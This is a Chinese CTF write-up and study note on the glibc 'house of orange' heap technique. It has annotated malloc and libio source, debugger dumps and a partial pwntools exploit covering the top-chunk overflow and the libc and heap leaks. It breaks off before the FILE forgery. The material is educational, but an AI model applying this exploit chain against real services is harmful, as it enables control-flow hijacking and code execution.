IO FILE 学习笔记

一些笔记而已。

house of orange wp

程序保护全开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

程序流程很简单,有三个选项:build,see,upgrade。

===build===
build有次数限制,一共能够build4次,涉及两个结构体

1
2
3
4
5
6
7
8
9
struct house{
8bytes struct orange * p;
8bytes char * name;
}

struct orange{
4bytes int price;
4bytes int color;
}

其中name的长度可以自定义,但最长不超过0x1000。

其中bss上有一个指针,表示当前的house,每次build都会被更新成最新的那个,也就是说后面的see,upgrade操作都是操作这个指针指向的结构体的,即只能操作最新build的那个house。

===see===
普通的函数,打印出house的各种信息,之后通过打印name来产生leak。

===upgrade===
编辑house的各种信息,但最多只能编辑3次。由于没有检查name的长度(但是最长为0x1000),导致暴力的堆溢出,并且直接使用read来读取,所以可以包含不可视字符。

===思路===
因为保护全开,我能想到的方法就只有改free_hook了。但此题没有提供free函数,并且受制于次数,无法实现这种利用。

house-of-orange:

使用条件:
1.能够获得libc基址
2.能够获得heap基址
3.能够触发unsorted bin attack
4.需要空间伪造FILE结构体

难点1:在没有提供free的情况下制造unsorted bin。
难点2:unsorted bin attack 去改_IO_list_allmain_arenatop的位置。

_int_malloc->sysmalloc->_int_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#_int_malloc()
...
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top; //victim此时为topchunk
size = chunksize (victim); //size为topchunk的大小

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) //topchunk的size大于需求size(X)
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av)) //暂不明确,但不能进这里(X)
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else //(√)
{
void *p = sysmalloc (nb, av); //调用sysmalloc来分配内存<<<<<<<<
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#sysmalloc()

#ifndef DEFAULT_MMAP_THRESHOLD_MIN
#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024) //后面mp_.mmap_threshold的大小
#endif

#ifndef DEFAULT_MMAP_THRESHOLD
#define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN
#endif

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD, //here
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
};

...
bool tried_mmap = false;


/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/

if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)// 128*1024=0x20000
&& (mp_.n_mmaps < mp_.n_mmaps_max))) // 这个if的条件如果满足则使用mmap,所以nb不能大于0x20000
{ //(X)
char *mm; /* return value from mmap call*/

try_mmap:
// <~~~~~~~~~~~~~~~~~使用mmap的代码~~~~~~~~~~~~~~~~~~~>
return chunk2mem (p);
}
}
}

/* There are no usable arenas and mmap also failed. */
if (av == NULL) //没有可用的arena(X)
return 0;

/* Record incoming configuration of top */

old_top = av->top; //记录现在top的各种信息,然后调用int_free来free top,并分配新top
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

// 下面是必须满足的两个assert:
// 1.old_size >= MINSIZE,即old_size不能太小
// 2.old_top 设置了 prev_inuse 标志位
// 3.old_end正好为页尾,即(&old_top+old_size)&(0x1000-1) == 0
// 4.old_size < nb+MINSIZE,old_size不够需求

/*
define MALLOC_ALIGNMENT (2 *SIZE_SZ)

// The corresponding bit mask value
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

// The smallest possible chunk
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))

// The smallest size we can malloc is an aligned minimal chunk
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));


if (av != &main_arena)
{
// <~~~~~~~~~~~~~~~~~不会进去~~~~~~~~~~~~~~~~~~~>
}
else{ // av == main_arena
// <~~~~~~~~~~~前面还有一些判断,暂时没看~~~~~~~~~~>
if (old_size != 0)//in
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);

/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size =
(2 * SIZE_SZ) | PREV_INUSE;

chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
(2 * SIZE_SZ) | PREV_INUSE;

/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);//调用_int_free,free old_top。
}
}
// <~~~~~~~~~~~~后续处理~~~~~~~~~~~~>
}

通过对上面代码的整理观察,我们得出以下结论:

1
2
3
4
5
目标:在没有free的情况下产生unsorted bin
条件:能够修改top chunk的size
做法:
1.覆盖top chunk的size,使&top+size为pagealigned,一般来说即size = size&0xfff;
2.申请一个大于size且小于0x20000的chunk,此时top会变成unsorted bin

利用这个unsortedbin,我们先申请一个large_chunk来泄露libc基址和heap段地址。

泄露libc基址很简单,通过fd和bk就可以泄露,写8字节内容,bk就泄漏出来了。
之所以是large_chunk,是因为当malloc一个large_chunk的时候,会把chunk自身的地址写到chunk的fd_nextsize和bk_nextsize的位置。见下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#_int_malloc()
...
if (in_smallbin_range (size))//如果是smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else//否则为largebin的情况
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//写入自身的地址
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
...

因此只要写入0x10的字节就可以leak出写在fd_nextsize位置的heap的地址了。

接着是利用unsorted bin attack来任意地址写(此处我们写_IO_list_all)。

_int_malloc中有这样一段代码,表示将一个unsorted bin摘下来。

1
2
3
4
5
3685	          bck = victim->bk;//victim即我们的unsorted bin
...
3728 /* remove from unsorted list */
3729 unsorted_chunks (av)->bk = bck;
3730 bck->fd = unsorted_chunks (av);

如果我们控制了bk下的值,即bck,那么有*(bck+0x10) = unsorted_chunks (av);即可将unsorted_chunks (av)写到任意位置,也就是将main_arena结构体中top对应的地址写到任意位置。

main_arena:

1
2
3
4
5
6
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;//此地址将被写入_IO_list_all

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

typedef struct malloc_chunk *mfastbinptr;
typedef struct malloc_chunk* mchunkptr;

关于_IO_list_all

_IO_list_all是一个_IO_FILE_plus结构体的指针:

1
extern struct _IO_FILE_plus *_IO_list_all;
1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain; /* offset 0x68 (64bits) */

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE //开始宏判断(这段判断结果为否,所以没有定义_IO_FILE_complete,下面还是_IO_FILE)
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif //结束宏判断
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 //依然是_IO_FILE的内容
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

顺便一提,如何用gdb打印出_chain的偏移:p &((struct _IO_FILE*)0)->_chain

1
2
pwndbg> p &((struct _IO_FILE*)0)->_chain
$3 = (struct _IO_FILE **) 0x68

考虑有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

int main(void){
FILE *fp = fopen("./exp.py","r");
if(!fp){
printf("something error!\n");
exit(0);
}

printf("hello world!\n");

fclose(fp);
return 0;
}

fp就是一个FILE结构体,而FILE其实就是_IO_FILE:

1
typedef struct _IO_FILE FILE;

实际去调试的话,可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pwndbg> p _IO_list_all
$11 = (struct _IO_FILE_plus *) 0x602010
pwndbg> p *_IO_list_all
$12 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6020f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x602100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
pwndbg> p *((struct _IO_jump_t *)0x7ffff7dd06e0)
$14 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a869c0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a87730 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a874a0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a88600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a861e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a85ec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a854c0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a88a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a85430 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a85370 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a7a180 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a861a0 <__GI__IO_file_read>,
__write = 0x7ffff7a85b70 <_IO_new_file_write>,
__seek = 0x7ffff7a85970 <__GI__IO_file_seek>,
__close = 0x7ffff7a85340 <__GI__IO_file_close>,
__stat = 0x7ffff7a85b60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a89af0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b00 <_IO_default_imbue>
}

如果我们在 __close = 0x7ffff7a85340 <__GI__IO_file_close>上下断,调用fclose的时候就会断下

1
2
3
4
5
6
 ► f 0     7ffff7a85340 _IO_file_close
f 1 7ffff7a86960 _IO_file_close_it+288
f 2 7ffff7a7a3ef fclose+399
f 3 400642 main+76
f 4 7ffff7a2d830 __libc_start_main+240
Breakpoint *0x7ffff7a85340

如果能构造_IO_jump_t,最后就能控制ip。

话题回到house of orange。这里我们是怎么让程序跳到_IO_jump_t上去的呢?又是跳到那个函数上?

malloc_printerr->__libc_message->abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system)

由于unsortedbin attack的缘故,后面我们在malloc的时候程序会出错,调用malloc_printerr函数,如下

1
2
3
4
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);

malloc_printerr则又调用了__libc_message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);

if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

__libc_message则又调用了abort

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Abort with an error message.  */
void
__libc_message (int do_abort, const char *fmt, ...)
{
......

if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);

/* Kill the application. */
abort ();//调用abort
}
}

abort则又调用了fflush

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
......

/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);//调用fflush
}

......

fflush其实就是_IO_flush_all_lockp

1
#define fflush(s) _IO_flush_all_lockp (0)

_IO_flush_all_lockp中用到了_IO_list_all,并最终通过vtable调用了_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
_IO_flush_all_lockp (int do_lock)
{
......
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; //_IO_list_all赋给fp
while (fp != NULL)
{
......

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//需要bypass的条件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))//需要bypass的条件
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//改 _IO_OVERFLOW 为 system 劫持程序流!
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;//指向下一个fp(从main_arena到heap)
}
......
}

由于逻辑短路原则,想要调用后面的_IO_OVERFLOW (fp, EOF),前面的条件必须满足,即:

1
2
3
4
5
6
1.fp->_mode <= 0
2.fp->_IO_write_ptr > fp->_IO_write_base

1._IO_vtable_offset (fp) == 0
2.fp->_mode > 0
3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

满足任意一种case都行(我都成功了)。

如果选上面,我们就需要构造mode_IO_write_ptr_IO_write_base。虽然构造的东西比下面多,但是都是简单的数值比较,比较容易构造。

如果选下面(orange的当时的做法),第一条我们难以构造,因为fp已经没法改动了;第三条需要构造_wide_data为一个满足条件的指针,比如将wide_dataIO_wirte_ptr指向read_end就可以了。*(_wide_data+0x20) > *(_wide_data+0x18)read_end > read_ptr

注:_wide_data对应的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

但是,我们现在写入_IO_list_all的地址在main_arena上,上面一堆的条件我们都无法bypass,虚表也无从构造,所以要让他通过fp = fp->_chain找到下一个我们能布置的_IO_FILE结构体。而_chain在结构体中的相对偏移为0x68。而写入_IO_list_allmain_arena的相对偏移为0x68的位置为smallbin 0x60的bk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
main_arena:
...
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
...

#define NBINS 128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

/*
Indexing

Bins for sizes < 512 bytes contain chunks of all the same size, spaced
8 bytes apart. Larger bins are approximately logarithmically spaced:

64 bins of size 8
32 bins of size 64
16 bins of size 512
8 bins of size 4096
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left

There is actually a little bit of slop in the numbers in bin_index
for the sake of speed. This makes no difference elsewhere.

The bins top out around 1MB because we expect to service large
requests via mmap.

Bin 0 does not exist. Bin 1 is the unordered list; if that would be
a valid chunk size the small bins are bumped up one.
*/

+0x00 [ top | last_remainder ]
+0x10 [ unsorted bin fd | unsorted bin bk ]
+0x20 [ smallbin 0x20 fd | smallbin 0x20 bk ]
+0x30 [ smallbin 0x30 fd | smallbin 0x30 bk ]
+0x40 [ smallbin 0x40 fd | smallbin 0x40 bk ]
+0x50 [ smallbin 0x50 fd | smallbin 0x50 bk ]
+0x60 [ smallbin 0x60 fd | smallbin 0x60 bk ] /* 0x68 */

注:这图其实画错了,bin2处填的其实不是&bin2,而是&bin1。这是因为这样能正好对应chunk结构的fd和bk。如下为实际调试时看到的结果。

1
2
3
4
5
6
7
8
9
10
pwndbg> hex 0x7fe1038d1b78 0x100
+0000 0x7fe1038d1b78 10 b0 cd 31 ab 55 00 00 f0 94 cb 31 ab 55 00 00 │...1│.U..│...1│.U..│
+0010 0x7fe1038d1b88 f0 94 cb 31 ab 55 00 00 10 25 8d 03 e1 7f 00 00 │...1│.U..│.%..│....│
+0020 0x7fe1038d1b98 88 1b 8d 03 e1 7f 00 00 88 1b 8d 03 e1 7f 00 00 │....│....│....│....│
+0030 0x7fe1038d1ba8 98 1b 8d 03 e1 7f 00 00 98 1b 8d 03 e1 7f 00 00 │....│....│....│....│
+0040 0x7fe1038d1bb8 a8 1b 8d 03 e1 7f 00 00 a8 1b 8d 03 e1 7f 00 00 │....│....│....│....│
+0050 0x7fe1038d1bc8 b8 1b 8d 03 e1 7f 00 00 b8 1b 8d 03 e1 7f 00 00 │....│....│....│....│
+0060 0x7fe1038d1bd8 f0 94 cb 31 ab 55 00 00 f0 94 cb 31 ab 55 00 00 │...1│.U..│...1│.U..│
+0070 0x7fe1038d1be8 d8 1b 8d 03 e1 7f 00 00 d8 1b 8d 03 e1 7f 00 00 │....│....│....│....│
+0080 0x7fe1038d1bf8 e8 1b 8d 03 e1 7f 00 00 e8 1b 8d 03 e1 7f 00 00 │....│....│....│....│

所以我们总结一下,只要我们通过unsorted bin attack写入了_IO_list_all,并且构造unsorted bin的size为0x61,且将这个bin构造成一个_IO_FILE的结构体,之后在通过一次malloc,系统会将这个bin放入相应的smallbin 0x60,即构造好了_chain,之后由于unsorted bin attack留下的错误,系统调用malloc_printerr去打印错误信息,并最后经过一系列函数使用了_IO_list_all,通过_chain找到了我们在堆上布置好的_IO_FILE的结构体,通过一系列检测后最终调用我们的虚表函数,即system

下面是exp:

bypass方法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./houseoforange')
bin = ELF('./houseoforange')
libc = ELF('./libc_local.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def build(size,name,price,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))


def see():
cn.recvuntil(":")
cn.sendline("2")

def upgrade(size,name,price,color):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))

#top_chunk_size->0xfa1
build(16,'aaaa',1,1)
pay = 'b'*16+p64(0)+p64(0x21)+'b'*16+p64(0)+p64(0xfa1)
upgrade(0x200,pay,1,1)

#triger free in _sys_malloc
build(0x1000,'cccc',1,1)

#leak libc base
build(0x400,'dddddddd',1,1)
see()
cn.recvuntil('dddddddd')
d = cn.recv(6).ljust(8,'\x00')
libc_base = u64(d)-1640-0x3c4b20
success('libc_base: '+hex(libc_base))
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))

#leak heap base
upgrade(0x400,'d'*16,1,1)
see()
cn.recvuntil('d'*16)
d = cn.recvuntil('\n')[:-1].ljust(8,'\x00')
heap_base=u64(d)-0xc0
